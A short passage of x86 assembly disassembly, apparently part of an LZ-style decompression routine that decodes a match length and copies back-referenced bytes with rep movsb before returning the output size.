mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x161319e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1613075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10